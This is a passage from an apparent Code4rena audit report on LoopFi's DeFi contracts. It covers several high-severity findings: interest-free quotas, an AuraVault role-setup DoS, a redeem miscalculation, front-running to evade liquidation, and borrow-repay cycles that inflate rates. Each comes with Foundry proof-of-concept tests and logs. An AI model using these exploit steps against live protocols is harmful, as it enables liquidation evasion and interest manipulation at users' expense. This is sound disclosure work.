    function cumulativeIndex(address token) public view override returns (uint192) {
        TokenQuotaParams storage tokenQuotaParams = totalQuotaParams[token];
        (uint16 rate, uint192 tqCumulativeIndexLU, ) = _getTokenQuotaParamsOrRevert(tokenQuotaParams);

        return QuotasLogic.cumulativeIndexSince(tqCumulativeIndexLU, rate, lastQuotaRateUpdate);
    }

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/quotas/PoolQuotaKeeperV3.sol#L259-L276

    function _getTokenQuotaParamsOrRevert(
        TokenQuotaParams storage tokenQuotaParams
    ) internal view returns (uint16 rate, uint192 cumulativeIndexLU, uint16 quotaIncreaseFee) {
        // rate = tokenQuotaParams.rate;
        // cumulativeIndexLU = tokenQuotaParams.cumulativeIndexLU;
        // quotaIncreaseFee = tokenQuotaParams.quotaIncreaseFee;
        assembly {
            let data := sload(tokenQuotaParams.slot)
            rate := and(data, 0xFFFF)//@audit rate here
            cumulativeIndexLU := and(shr(16, data), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
            quotaIncreaseFee := shr(208, data)
        }

        if (cumulativeIndexLU == 0) {
            revert TokenIsNotQuotedException(); // U:[PQK-14]
        }
    }

Also in the same light revenue change for quota would always be 0 during modification of collateral/debt or even liquidation that’s queried in the vault by the _calcQuotaRevenueChange() helper function:

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L462-L466

    function _calcQuotaRevenueChange(int256 deltaDebt) internal view returns (int256 quotaRevenueChange) {
        uint16 rate = IPoolQuotaKeeperV3(poolQuotaKeeper()).getQuotaRate(address(token));
        return QuotasLogic.calcQuotaRevenueChange(rate, deltaDebt);
    }

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/quotas/QuotasLogic.sol#L38-L41

    /// @dev Computes the pool quota revenue change given the current rate and the quota change
    function calcQuotaRevenueChange(uint16 rate, int256 change) internal pure returns (int256) {
        return change * int256(uint256(rate)) / int16(PERCENTAGE_FACTOR);
    }

Edit: Took consideration of @0xAlix2’s comment below and explicitly attached the fact that the interest which Loopfi is losing out on is their “quota interest” and not the whole debt’s interest as they assume. To note, why we are talking about debt in this discussion is cause I needed to showcase where the huge quota is requested since asked by the judge. Do check the diffs for the edit. In my opinion, this fact can also be seen clearly even from the title of the report that the user is getting an “interest free quota” and not an interest free debt.

NB: This same issue was reported and fixed in the original Gearbox protocol, see 7.3 which this is a fork of. Albeit in that instance it was assessed as a Medium, I submitted as high cause per C4 standards and as hinted here already, it doesn’t need any hypothetical path to be actualised.

0xAlix2 (warden) commented:

There’s some confusion here, having 0 cdd.cumulativeQuotaInterest doesn’t mean no interest. Let me explain, Loopfi has 2 separate interest rates, there’s the quota interest and the default credit interest, as seen the credit interest calculation has nothing to do with the Quota’s logic, you can confirm this from Loopfi’s docs.

I also had this fuzzing test that confirms this, that you can add in src/test/unit/CDPVault.t.sol:

function test_someFuzzzz() public {
    CDPVault vault = createCDPVault(token, 150 ether, 0, 1.25 ether, 1.0 ether, 0);
    createGaugeAndSetGauge(address(vault));
    address position = address(new PositionOwner(vault));

    uint256 depositAmount = 100 ether;
    uint256 borrowAmount = 80 ether;

    token.mint(address(this), depositAmount);
    token.approve(address(vault), depositAmount);
    underlyingToken.mint(address(this), depositAmount);
    underlyingToken.approve(address(vault), depositAmount);

    uint256 initialInterestRate = vault.pool().baseInterestRate();

    vault.deposit(position, depositAmount);

    vault.borrow(address(this), position, borrowAmount);

    vm.warp(block.timestamp + 30 days);

    console.log("repay");

    vault.repay(address(this), position, vault.virtualDebt(position));
}

function _calcDebt(Position memory position) internal view returns (DebtData memory cdd) {
    uint256 index = pool.baseInterestIndex();
    cdd.debt = position.debt;
    cdd.cumulativeIndexNow = index;
    cdd.cumulativeIndexLastUpdate = position.cumulativeIndexLastUpdate;
    cdd.cumulativeQuotaIndexLU = position.cumulativeQuotaIndexLU;
    // Get cumulative quota interest
    (cdd.cumulativeQuotaInterest, cdd.cumulativeQuotaIndexNow) = _getQuotedTokensData(cdd);

    cdd.cumulativeQuotaInterest += position.cumulativeQuotaInterest;

+   console.log("cdd.cumulativeQuotaInterest", cdd.cumulativeQuotaInterest);

    cdd.accruedInterest = CreditLogic.calcAccruedInterest(cdd.debt, cdd.cumulativeIndexLastUpdate, index);

+   console.log("cdd.accruedInterest", cdd.accruedInterest);

    cdd.accruedInterest += cdd.cumulativeQuotaInterest;
}

Logs:
  cdd.cumulativeQuotaInterest 0
  cdd.accruedInterest 0
  cdd.cumulativeQuotaInterest 0
  cdd.accruedInterest 0
  cdd.cumulativeQuotaInterest 0
  cdd.accruedInterest 0
  repay
  cdd.cumulativeQuotaInterest 6575342465753424
  cdd.accruedInterest 657658017727639000
  cdd.cumulativeQuotaInterest 6575342465753424
  cdd.accruedInterest 657658017727639000

As seen the quota interest did accumulate.

Assuming the test is wrong (which I don’t think so), and the quota interest is 0, we can manually manipulate the quota index (so that it matches the initially set index here) so that the resulting quota interest is 0:

function _getQuotedTokensData(
    DebtData memory cdd
) internal view returns (uint128 outstandingQuotaInterest, uint192 cumulativeQuotaIndexNow) {
-   cumulativeQuotaIndexNow = IPoolQuotaKeeperV3(poolQuotaKeeper()).cumulativeIndex(address(token));
+   cumulativeQuotaIndexNow = 1;
    uint128 outstandingInterestDelta = QuotasLogic.calcAccruedQuotaInterest(
        uint96(cdd.debt),
        cumulativeQuotaIndexNow,
        cdd.cumulativeQuotaIndexLU
    );

    outstandingQuotaInterest = outstandingInterestDelta; // U:[CM-24]
}

Logs:
  cdd.cumulativeQuotaInterest 0
  cdd.accruedInterest 0
  cdd.cumulativeQuotaInterest 0
  cdd.accruedInterest 0
  cdd.cumulativeQuotaInterest 0
  cdd.accruedInterest 0
  repay
  cdd.cumulativeQuotaInterest 0
  cdd.accruedInterest 657658017727639000
  cdd.cumulativeQuotaInterest 0
  cdd.accruedInterest 657658017727639000

We can see that the Quota interest is indeed 0, but the user is casually paying the other “credit” interest.

As a result, there’s always some interest being paid to the protocol.

Edit: My response mainly refuted the following, showing that interest will always be paid regardless of the Quota.

an attacker can request a huge quota even up to the configured limit without having to pay any interest to the protocol

Assuming that the Quotas interest will always be 0 (I still doubt it, as the above test shows this, unless I’m missing something), for this to be high, assets need to be “stolen/lost/compromised”, how is this happening here?

Koolex (judge) commented:

@Bauchibred - I’m already aware that the issue was already reported elsewhere; in fact, if you search the in the codebase (in the lib) you would find the fixed version. Somehow, the devs overlooked it.

     quotaChange = (rate == 0) ? int96(0) : QuotasLogic.calcActualQuotaChange(totalQuoted, limit, quotaChange); // U:[PQK-15]

To summarize the impact, quota interest won’t be paid during the period where rate = 0, max time of this is one epoch. In normal cases, I would consider this as a Medium. However, I have re-assessed it above as High for the following reasons:

• It can happen on each new token added.
• Can be done at scale (i.e., many users) or one user with a huge amount, as a result loss of interest for LPs who voted for it.
• It undermines the intended functionality from voting (CA vs LP) on quota rate, if there is any.

[H-04] AuraVault inherits AccessControl BUT does not call the _setupRole() function in it’s constructor to set the initial roles. This leads to a complete DOS of the important claim function rendering the contract unable to claim rewards

Submitted by Spearmint, also found by karsar, 0xBugSlayer, lian886, Kaysoft, zhaojie, 0xpiken, inh3l, EPSec, and pkqs90

The AuraVault contract inherits OpenZeppelin’s AccessControl contract to implement role-based access control. The issue is that the AuraVault contract does not call the _setupRole() function in it’s constructor to set the DEFAULT_ADMIN_ROLE, VAULT_ADMIN_ROLE or VAULT_CONFIG_ROLE roles.

Since this is not done in the constructor it is impossible to call grantRole() since it has the onlyRole(getRoleAdmin(role)) modifier. It is important to note that no roles have been set; therefore, there is no address that can call this function to set roles. Therefore, it is impossible to set the VAULT_ADMIN_ROLE and VAULT_CONFIG_ROLE roles.

The minor impact is that the setParameter() function can never be called to change the feed or auraPriceOracle because it has the onlyRole(VAULT_CONFIG_ROLE) modifier. The critical impact is because setVaultConfig() function can never be called to initialize the vaultConfig.

The uninitialized vaultConfig struct will default all the variables to 0:

struct VaultConfig {
        /// @notice The incentive sent to claimer (in bps)
        uint32 claimerIncentive;
        /// @notice The incentive sent to lockers (in bps)
        uint32 lockerIncentive;
        /// @notice The locker rewards distributor
        address lockerRewards;
    }

/// @notice CDPVault configuration
VaultConfig public vaultConfig;

The issue arises specifically from the lockerRewards variable being the 0 address. When a user calls claim() to claim accumulated rewards by depositing WETH instead, the following line will cause the call to always revert since it attempts to send 0 BAL to the 0 address.

function claim(uint256[] memory amounts, uint256 maxAmountIn) external returns (uint256 amountIn) {
    // Claim rewards from Aura reward pool
    IPool(rewardPool).getReward();
    ...
    ...
    // Distribute BAL rewards
    IERC20(BAL).safeTransfer(_config.lockerRewards, (amounts[0] * _config.lockerIncentive) / INCENTIVE_BASIS);
    ...
    ...
}

The balancer token will revert if the recipient is the 0 address due to the following check in it’s _transfer function (BAL token on etherscan).

function _transfer(address sender, address recipient, uint256 amount) internal virtual {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");

    _beforeTokenTransfer(sender, recipient, amount);

    _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
}

Proof of Concept

Here is a fully coded POC with a mainnet fork:

1. Add the following MockAuraPool.sol to /src/test/MockAuraPool.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IPool {
    function asset() external view returns (address);
    function balanceOf(address) external view returns (uint256);
    function deposit(uint256, address) external returns (uint256);
    function withdraw(uint256, bool) external;
    function withdraw(uint256, address, address) external;
    function redeem(uint256 shares, address receiver, address owner) external returns (uint256);
    function getReward() external returns (bool);
    function extraRewardsLength() external view returns (uint256);
    function rewardToken() external view returns (address);
    function earned(address account) external view returns (uint256);
}

contract MockAuraPool is IPool, ERC20 {
    IERC20 public immutable _asset;
    IERC20 public immutable _rewardToken;
    mapping(address => uint256) public userRewards;

    constructor(address asset_, address rewardToken_) ERC20("Mock Aura Pool", "mAP") {
        _asset = IERC20(asset_);
        _rewardToken = IERC20(rewardToken_);
    }

    function asset() external view override returns (address) {
        return address(_asset);
    }

    function balanceOf(address account) public view override(IPool, ERC20) returns (uint256) {
        return super.balanceOf(account);
    }

    function deposit(uint256 amount, address receiver) external override returns (uint256) {
        _asset.transferFrom(msg.sender, address(this), amount);
        _mint(receiver, amount);
        return amount;
    }

    function withdraw(uint256 amount, bool) external override {
        _burn(msg.sender, amount);
        _asset.transfer(msg.sender, amount);
    }

    function withdraw(uint256 amount, address receiver, address owner) external override {
        if (msg.sender != owner) {
            _spendAllowance(owner, msg.sender, amount);
        }
        _burn(owner, amount);
        _asset.transfer(receiver, amount);
    }

    function redeem(uint256 shares, address receiver, address owner) external override returns (uint256) {
        if (msg.sender != owner) {
            _spendAllowance(owner, msg.sender, shares);
        }
        _burn(owner, shares);
        uint256 amount = shares; // 1:1 ratio for simplicity
        _asset.transfer(receiver, amount);
        return amount;
    }

    function getReward() external override returns (bool) {
        uint256 reward = userRewards[msg.sender];
        if (reward > 0) {
            userRewards[msg.sender] = 0;
            _rewardToken.transfer(msg.sender, reward);
        }
        return true;
    }

    function extraRewardsLength() external pure override returns (uint256) {
        return 0; // No extra rewards for simplicity
    }

    function rewardToken() external view override returns (address) {
        return address(_rewardToken);
    }

    function earned(address account) external view override returns (uint256) {
        return userRewards[account];
    }

    // Helper function to simulate rewards
    function setReward(address account, uint256 amount) external {
        userRewards[account] = amount;
    }
}

2. Add the following MockOracle.sol to /src/test/MockOracle.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import "../interfaces/IOracle.sol";

contract MockOracle is IOracle {

    enum Variable { PAIR_PRICE, BPT_PRICE, INVARIANT }

    struct OracleAverageQuery {
        Variable variable;
        uint256 secs;
        uint256 ago;
    }

    mapping(address token => uint256 spot) private _spot;

    mapping(address => uint256) private prices;

    function updateSpot(address token, uint256 price) external {
        prices[token] = price;
    }

    function spot(address token) external view returns (uint256) {
        return prices[token];
    }

    function getStatus(address /*token*/) public pure returns (bool) {
        return true;
    }

    function getTimeWeightedAverage(OracleAverageQuery[] memory queries)
        external
        view
        returns (uint256[] memory results)
    {
        results = new uint256[](queries.length);
        for (uint256 i = 0; i < queries.length; i++) {
            // We're assuming that the Variable enum value corresponds to a token address
            // This might need adjustment based on how it's actually used in your system
            address token = address(uint160(uint256(queries[i].variable)));
            results[i] = prices[token];
        }
        return results;
    }
}

3. Add the following AuraVault.t.sol to /src/test/integration/AuraVault.t.sol and run it with the following command:

forge test --mt test__POC__ClaimFunctionAlwaysReverts -vvvvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

import {AuraVault} from "../../vendor/AuraVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockOracle} from "../MockOracle.sol";
import {MockAuraPool} from "../MockAuraPool.sol";

contract AuraVaultTest is Test {
    AuraVault public auraVault;
    MockAuraPool public mockAuraPool;
    IERC20 public weth;
    IERC20 public bal;
    IERC20 public aura;
    MockOracle public mockFeed;
    MockOracle public mockAuraPriceOracle;

    uint32 public constant MAX_CLAIMER_INCENTIVE = 1000; // 10%
    uint32 public constant MAX_LOCKER_INCENTIVE = 2000; // 20%

    uint256 mainnetFork;

    // Mainnet addresses
    address constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant BAL_ADDRESS = 0xba100000625a3754423978a60c9317c58a424e3D;
    address constant AURA_ADDRESS = 0xC0c293ce456fF0ED870ADd98a0828Dd4d2903DBF;

    address public USER = address(879);

    function setUp() public {
        mainnetFork = vm.createFork("<https://eth-mainnet.g.alchemy.com/v2/QF9A5wFdl6h_Im_XTqd7A8cbiyHc_VUu>");
        vm.selectFork(mainnetFork);

        // Use real token contracts
        weth = IERC20(WETH_ADDRESS);
        bal = IERC20(BAL_ADDRESS);
        aura = IERC20(AURA_ADDRESS);

        // Deploy mock contracts
        mockAuraPool = new MockAuraPool(WETH_ADDRESS, BAL_ADDRESS);
        mockFeed = new MockOracle();
        mockAuraPriceOracle = new MockOracle();

        // Deploy AuraVault
        auraVault = new AuraVault(
            address(mockAuraPool),
            WETH_ADDRESS,
            address(mockFeed),
            address(mockAuraPriceOracle),
            MAX_CLAIMER_INCENTIVE,
            MAX_LOCKER_INCENTIVE,
            "Aura Vault WETH",
            "avWETH"
        );

        // Set up mock oracle prices
        mockFeed.updateSpot(WETH_ADDRESS, 2000e18); // WETH at $2000
        mockFeed.updateSpot(BAL_ADDRESS, 10e18); // BAL at $10
        mockAuraPriceOracle.updateSpot(AURA_ADDRESS, 5e18); // AURA at $5

        // Give some WETH to the test contract and USER
        deal(WETH_ADDRESS, address(this), 100 ether);
        deal(WETH_ADDRESS, USER, 100 ether);

        // Approve vault to spend WETH
        weth.approve(address(auraVault), type(uint256).max);
        vm.prank(USER);
        weth.approve(address(auraVault), type(uint256).max);
    }

    function test__POC__ClaimFunctionAlwaysReverts() public {
        // Setup rewards
        uint256[] memory rewardAmounts = new uint256[](2);
        rewardAmounts[0] = 10e18; // 10 BAL
        rewardAmounts[1] = 5e18;  // 5 AURA
        deal(BAL_ADDRESS, address(mockAuraPool), rewardAmounts[0]);
        deal(AURA_ADDRESS, address(mockAuraPool), rewardAmounts[1]);
        mockAuraPool.setReward(address(auraVault), rewardAmounts[0]);

        // Calculate expected WETH amount for claim
        uint256 expectedWethAmount = (rewardAmounts[0] * 10e18 + rewardAmounts[1] * 5e18) / 2000e18;

        // User attempts to claim the rewards but it reverts
        vm.startPrank(USER);
        auraVault.claim(rewardAmounts, expectedWethAmount) ;
    }
}

Console output:

    │   ├─ [6168] 0xba100000625a3754423978a60c9317c58a424e3D::transfer(0x0000000000000000000000000000000000000000, 0)
    │   │   └─ ← [Revert] revert: ERC20: transfer to the zero address
    │   └─ ← [Revert] revert: ERC20: transfer to the zero address
    └─ ← [Revert] revert: ERC20: transfer to the zero address

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 13.81s (9.23s CPU time)

Ran 1 test suite in 15.09s (13.81s CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in src/test/integration/AuraVault.t.sol:AuraVaultTest
[FAIL. Reason: revert: ERC20: transfer to the zero address] test__POC__ClaimFunctionAlwaysReverts() (gas: 637701)

Encountered a total of 1 failing tests, 0 tests succeeded.

Impact

The minor impact is that the setParameter() function can never be called to change the feed or auraPriceOracle because it has the onlyRole(VAULT_CONFIG_ROLE) modifier. The critical impact is because setVaultConfig() function can never be called to initialize the vaultConfig.

The uninitialized vaultConfig struct will default all the variables to 0, causing the claim function to revert permanently. Since the claim() function always reverts it will be impossible to claim the rewards; therefore, there is no incentive to be deposit in the pool.

Recommended Mitigation Steps

Modify the AuraVault constructor as follows:

constructor(
    address rewardPool_,
    address asset_,
    address feed_,
    address auraPriceOracle_,
    uint32 maxClaimerIncentive_,
    uint32 maxLockerIncentive_,
    string memory tokenName_,
    string memory tokenSymbol_,
+   address vaultAdminRole,
+   address vaultConfigRole

) ERC4626(IERC20(asset_)) ERC20(tokenName_, tokenSymbol_) {
    rewardPool = rewardPool_;
    feed = feed_;
    auraPriceOracle = auraPriceOracle_;
    maxClaimerIncentive = maxClaimerIncentive_;
    maxLockerIncentive = maxLockerIncentive_;

+   _setupRole(VAULT_ADMIN_ROLE, vaultAdminRole);
+   _setupRole(VAULT_CONFIG_ROLE, vaultConfigRole);
    }

Assessed type

Access Control

amarcu (LoopFi) acknowledged and commented:

Acknowledged but we will remove and not use the AuraVault.

[H-05] There is a calculation error in AuraVault::redeem()

Submitted by lian886, also found by novamanbg

The amount of funds that users can withdraw decreases, leading to a loss of funds for users.

Proof of Concept

  function redeem(
        uint256 shares,
        address receiver,
        address owner
    ) public virtual override(IERC4626, ERC4626) returns (uint256) {
        require(shares <= maxRedeem(owner), "ERC4626: redeem more than max");

        // Redeem assets from Aura reward pool and send to "receiver"
@>>        uint256 assets = IPool(rewardPool).redeem(shares, address(this), address(this));

        _withdraw(_msgSender(), receiver, owner, assets, shares);

        return assets;
    }

We can see that AuraVault::redeem() confuses AuraVault’s shares with rewardPool’s shares. AuraVault’s shares need to be converted into AuraVault’s underlying tokens (assets) before they can be withdrawn. This is particularly problematic because, as we know from the rewardPool contract address, rewardPool::redeem() functions the same way as rewardPool::withdraw().

https://vscode.blockscan.com/ethereum/0x00A7BA8Ae7bca0B10A32Ea1f8e2a1Da980c6CAd2

 function redeem(
        uint256 shares,
        address receiver,
        address owner
    ) external virtual override returns (uint256) {
        return withdraw(shares, receiver, owner);
    }

Moreover, in the rewardPool, the ratio of share to asset is always 1:1.

Scenario Example:

Let’s assume that in AuraVault, the ratio of share to asset is always 1:2. In this case, if a user withdraws 1 share, they will ultimately receive only 1 asset; whereas, they should have received 2 assets.

Recommended Mitigation Steps

  function redeem(
        uint256 shares,
        address receiver,
        address owner
    ) public virtual override(IERC4626, ERC4626) returns (uint256) {
        require(shares <= maxRedeem(owner), "ERC4626: redeem more than max");
+        uint256 assets = previewRedeem(shares);

        // Redeem assets from Aura reward pool and send to "receiver"
-       uint256 assets = IPool(rewardPool).redeem(shares, address(this), address(this));
+        assets = IPool(rewardPool).redeem(assets, address(this), address(this));

        _withdraw(_msgSender(), receiver, owner, assets, shares);

        return assets;
    }

Assessed type

Error

amarcu (LoopFi) acknowledged and commented:

Acknowledged but we will remove and not use the AuraVault.

[H-06] Malicious borrower can evade full liquidation in CDPVault::liquidatePosition by repaying small amounts of debt

Submitted by 0xbepresent, also found by Spearmint and Evo

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L509

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L713

Impact

In the CDPVault::liquidatePosition function, a liquidator can repay the total debt of a position to liquidate it, this can be achieved by calling the CDPVault::virtualDebt function to obtain the total debt and then call CDPVault::liquidatePosition. However, a malicious borrower can front-run this liquidation transaction by repaying a small amount (e.g., 1 wei) of the debt. This action causes the debt to be slightly less than the amount the liquidator intends to repay. Consequently, the subtraction operation in CDPVault#L713 will underflow, leading to a revert in the transaction. This will allow borrowers to evade total debt liquidation.

Proof of Concept

Consider the next scenario:

1. Assume the initial debt is 80 ether. The position is liquidatable.
2. Liquidator prepares to repay the full debt 80 ether to liquidate the position via CDPVault::liquidatePosition. Liquidator gets the full debt using CDPVault::virtualDebt function.
3. Malicious borrower front-runs the transaction and repays 1 wei, the debt is now 80 ether - 1 wei.
4. Liquidator’s transaction is executed but it attempts to repay 80 ether, causing an underflow when the newDebt is calculated CDPVault#L713 as (80 ether - 1 wei) - 80 ether.

File: CDPVault.sol
652:     function calcDecrease(
653:         uint256 amount,
654:         uint256 debt,
655:         uint256 cumulativeIndexNow,
656:         uint256 cumulativeIndexLastUpdate,
657:         uint128 cumulativeQuotaInterest
658:     )
659:         internal
660:         pure
661:         returns (uint256 newDebt, uint256 newCumulativeIndex, uint256 profit, uint128 newCumulativeQuotaInterest)
662:     {
663:         uint256 amountToRepay = amount;
...
...
713:>>>      newDebt = debt - amountToRepay;  // underflow
714:     }

The next test demonstrates how the malicious borrower can evade full liquidation by repaying small amounts of the debt.

    // File: CDPVault.t.sol
    function test_liquidate_fullliquidation_panicerror() public {
        CDPVault vault = createCDPVault(token, 150 ether, 0, 1.25 ether, 1 ether, 0.95 ether);
        createGaugeAndSetGauge(address(vault));
        // create position
        _modifyCollateralAndDebt(vault, 110 ether, 80 ether);
        // position is liquidatable
        _updateSpot(0.80 ether);
        //
        // 1. Liquidator calculates the full debt in order to call `CDPVault::liquidatePosition`.
        address position = address(this);
        uint256 liquidatorRepayAmount = virtualDebt(vault, position);
        address liquidator = address(0xb0b);
        createCredit(liquidator, liquidatorRepayAmount);
        //
        // 2. Malicious borrower frontrun liquidator and repays 1 wei
        mockWETH.approve(address(vault), 1);
        vault.modifyCollateralAndDebt(address(this), address(this), address(this), 0, -toInt256(1));
        //
        // 3. Liquidator tx is executed but it will be reverted by `arithmeticError`
        vm.startPrank(liquidator);
        mockWETH.approve(address(vault), liquidatorRepayAmount);
        vm.expectRevert(stdError.arithmeticError);
        vault.liquidatePosition(position, liquidatorRepayAmount);
    }

Recommended Mitigation Steps

Implement a validation to prevent repayment if the position remains liquidable after increasing the repayment amount.

Assessed type

Under/Overflow

0xtj24 (LoopFi) acknowledged and commented:

All liquidators would have to take into account a possible repayment from other liquidators. He could split into 2 repayments for example.

The liquidatePosition already checks if an amount is too high for repayment. Also, in case of 1 wei, it is not economically feasible since it would just be better for the borrower to repay instead of spending gas for multiple txs to avoid liquidation, since it would have to constantly frontrunning it.

Koolex (judge) commented:

I see two issues here:

• A malicious actor can DoS liquidators, not only one. Since liquidators race and eventually one will win. In this case, the malicious actor.
• DoS could naturally happen if more than one liquidator race for liquidation and the sum of the amounts isn’t equal to the highest possible amount.

Please take into consideration, if the loan is too big, the costs of gas is relatively too small.

[H-07] Malicious borrower cycle exploits to inflate interest rates

Submitted by Evo

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L256

https://github.com/code-423n4/2024-07-loopfi/blob/57871f64bdea450c1f04c9a53dc1a78223719164/src/CDPVault.sol#L272

Impact

The current implementation allows a malicious actor to artificially inflate interest rates for all borrowers in the system through rapid borrow-and-repay cycles. This exploit can lead to:

1. Increased costs for legitimate borrowers who may face higher interest rates than expected.
2. Potential forced liquidations of other borrowers if interest rates rise rapidly enough to push their positions into unsafe territory.
3. Unfair advantage for the attacker if they are also a lender in the system, as they could increase returns on their deposits.

This vulnerability undermines the fairness and stability of the lending platform, potentially leading to loss of funds for users.

Proof of Concept

The following test demonstrates the attack by comparing interest accrual with and without the borrow-repay cycles, please add this test function to CDPVault.t.sol test file:

function test_borrow_repay_cycles_with_attack() public {
  compare_interest_accrual_with_borrow_repay_cycles(true);
}
function test_borrow_repay_cycles_without_attack() public {
  compare_interest_accrual_with_borrow_repay_cycles(false);
}


//    A cycle borrower can increase the interest rate on other borrowers. by borrow and repay.
function compare_interest_accrual_with_borrow_repay_cycles(bool attack) internal {
  

  console.log(attack?"Cycle borrower is attacking":"Cycle borrower is NOT attacking");

  
  CDPVault vault = createCDPVault(token, 1000 ether, 0, 1.25 ether, 1.0 ether, 0);
  createGaugeAndSetGauge(address(vault));

  // Setup two borrowers
  address normalBorrower = address(0x1);
  address cycleBorrower = address(0x2);
  address normalBorrower2 = address(0x3);

  // Deposit more collateral to ensure safe ratios
  uint256 collateralAmount = 200 ether;
  token.mint(normalBorrower, collateralAmount);
  vm.prank(normalBorrower);
  token.approve(address(vault), collateralAmount);
  vm.prank(normalBorrower);
  vault.deposit(normalBorrower, collateralAmount);


  token.mint(normalBorrower2, collateralAmount);
  vm.prank(normalBorrower2);
  token.approve(address(vault), collateralAmount);
  vm.prank(normalBorrower2);
  vault.deposit(normalBorrower2, collateralAmount);


  {
  token.mint(cycleBorrower, collateralAmount);
  console.log("Cycle borrower Balance Before:", token.balanceOf(cycleBorrower));
  }
  vm.prank(cycleBorrower);
  token.approve(address(vault), collateralAmount);
  vm.prank(cycleBorrower);
  vault.deposit(cycleBorrower, collateralAmount);



  // Both borrowers take out initial loans
  uint256 borrowAmount = 50 ether;
  vm.prank(normalBorrower);
  vault.modifyCollateralAndDebt(normalBorrower, normalBorrower, normalBorrower, 0, int256(borrowAmount));
  vm.prank(normalBorrower2);
  vault.modifyCollateralAndDebt(normalBorrower2, normalBorrower2, normalBorrower2, 0, int256(borrowAmount));

  // Record initial state
  uint256 initialDebtNormal = vault.virtualDebt(normalBorrower);
  uint256 initialDebtNormal2 = vault.virtualDebt(normalBorrower2);
  uint256 initialDebtCycle = vault.virtualDebt(cycleBorrower);

  console.log("Initial state:");
  logPoolState(vault);

  // Simulate passage of time and borrow-repay cycles
  uint256 cycles = 10;
  uint256 timeBetweenCycles = 1 hours;

  // Mint a large amount of WETH to this contract to cover all potential debts
  mockWETH.mint(address(this), 1000 ether);
{

  for (uint256 i = 0; i < cycles; i++) {
      if(attack){
      vm.startPrank(cycleBorrower);
      
      vault.modifyCollateralAndDebt(cycleBorrower, cycleBorrower, cycleBorrower, 0, int256(borrowAmount));
      
      // Repay all debt
      uint256 currentDebt = vault.virtualDebt(cycleBorrower);
      
      if (currentDebt > 0) {
          mockWETH.transfer(cycleBorrower, currentDebt);
          mockWETH.approve(address(vault), currentDebt);
          vault.modifyCollateralAndDebt(cycleBorrower, cycleBorrower, cycleBorrower, 0, -int256(currentDebt));
      }
      
      console.log("Borrow and repay Cycle: #", i+1);
      
      vm.stopPrank();

      }
      // Advance time
      vm.warp(block.timestamp + timeBetweenCycles);
  }
}
  vm.startPrank(cycleBorrower);
  vault.withdraw(cycleBorrower, collateralAmount);
  vm.stopPrank();


  // Check final debts
  uint256 finalDebtNormal = vault.virtualDebt(normalBorrower);
  uint256 finalDebtNormal2 = vault.virtualDebt(normalBorrower2);

  // Calculate accrued interest
  console.log("Debts ======");

  console.log("initialDebtNormal:", initialDebtNormal);
  console.log("finalDebtNormal:", finalDebtNormal);
  console.log("initialDebtNormal2:", initialDebtNormal2);
  console.log("finalDebtNormal2:", finalDebtNormal2);
  

  uint256 accruedInterestNormal = finalDebtNormal - initialDebtNormal;
  uint256 accruedInterestNormal2 = finalDebtNormal2 - initialDebtNormal2;


  // Calculate accrued interest
  console.log("\n Accrued interest ======");
  console.log("Normal borrower initial debt:", initialDebtNormal);
  console.log("Normal borrower final debt:", finalDebtNormal);
  console.log("Normal borrower accrued interest:", accruedInterestNormal);

  console.log("Normal borrower 2 initial debt:", initialDebtNormal2);
  console.log("Normal borrower 2 final debt:", finalDebtNormal2);
  console.log("Normal borrower 2 accrued interest:", accruedInterestNormal2);
  console.log("======");

  logPoolState(vault);

  
  logBalance(cycleBorrower);
  
}

function logBalance(address addr) internal view {
  console.log("Cycle borrower Balance After:", token.balanceOf(addr));
}


function logPoolState(CDPVault vault) internal view {
  address poolAddress = address(vault.pool());
  console.log("  Total Debt:", vault.totalDebt());
  console.log("  Expected Liquidity:", IPoolV3(poolAddress).expectedLiquidity());
  console.log("  Available Liquidity:", IPoolV3(poolAddress).availableLiquidity());
  console.log("  Utilization:", calculateUtilization(
      IPoolV3(poolAddress).expectedLiquidity(),
      IPoolV3(poolAddress).availableLiquidity()
  ));
  console.log("  Base Interest Rate:", IPoolV3(poolAddress).baseInterestRate());
}

function calculateUtilization(uint256 expectedLiquidity, uint256 availableLiquidity) internal pure returns (uint256) {
  if (expectedLiquidity == 0) return 0;
  return ((expectedLiquidity - availableLiquidity) * 10000) / expectedLiquidity;
}